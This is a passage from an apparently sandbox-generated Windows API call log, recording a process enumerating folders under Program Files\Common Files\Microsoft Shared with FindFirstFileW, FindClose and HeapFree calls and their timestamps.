ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.064] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.065] GetProcessHeap () returned 0x560000 [0222.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.067] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.067] GetProcessHeap () returned 0x560000 [0222.067] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.069] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.069] GetProcessHeap () returned 0x560000 [0222.070] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.072] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.072] GetProcessHeap () returned 0x560000 [0222.072] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.233] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.233] GetProcessHeap () returned 0x560000 [0222.233] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0222.876] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0222.877] GetProcessHeap () returned 0x560000 [0222.877] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0222.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0228.236] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0228.237] GetProcessHeap () returned 0x560000 [0228.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0228.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0228.240] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0228.240] GetProcessHeap () returned 0x560000 [0228.241] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0228.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.919] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.919] GetProcessHeap () returned 0x560000 [0229.919] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0229.920] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0229.920] GetProcessHeap () returned 0x560000 [0229.920] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0229.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0229.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.926] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.926] GetProcessHeap () returned 0x560000 [0229.926] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0229.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.927] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.927] GetProcessHeap () returned 0x560000 [0229.927] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0229.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.928] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.928] GetProcessHeap () returned 0x560000 [0229.928] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0229.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.929] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.929] GetProcessHeap () returned 0x560000 [0229.929] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0229.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0229.930] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0229.930] GetProcessHeap () returned 0x560000 [0229.930] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0229.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0230.426] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0230.426] GetProcessHeap () returned 0x560000 [0230.426] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0230.426] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0230.427] GetProcessHeap () returned 0x560000 [0230.427] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0230.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0230.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0230.427] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0230.428] GetProcessHeap () returned 0x560000 [0230.428] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0230.428] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0230.428] GetProcessHeap () returned 0x560000 [0230.428] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0230.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0231.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0231.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0231.870] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0231.873] GetProcessHeap () returned 0x560000 [0231.873] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beef58 | out: hHeap=0x560000) returned 1 [0231.873] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0231.873] GetProcessHeap () returned 0x560000 [0231.873] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0232.384] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0232.385] GetProcessHeap () returned 0x560000 [0232.385] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0232.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0232.386] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0232.387] GetProcessHeap () returned 0x560000 [0232.387] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0232.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0232.416] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0232.416] GetProcessHeap () returned 0x560000 [0232.416] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0232.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0232.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0232.693] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0232.697] GetProcessHeap () returned 0x560000 [0232.697] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0232.697] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0232.697] GetProcessHeap () returned 0x560000 [0232.698] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0232.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0232.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0233.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0233.090] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0233.091] GetProcessHeap () returned 0x560000 [0233.091] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0233.091] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0233.091] GetProcessHeap () returned 0x560000 [0233.091] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0233.091] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0233.093] GetProcessHeap () returned 0x560000 [0233.093] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0233.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0233.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0233.096] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0233.097] GetProcessHeap () returned 0x560000 [0233.097] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0233.097] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0233.097] GetProcessHeap () returned 0x560000 [0233.098] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0233.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, 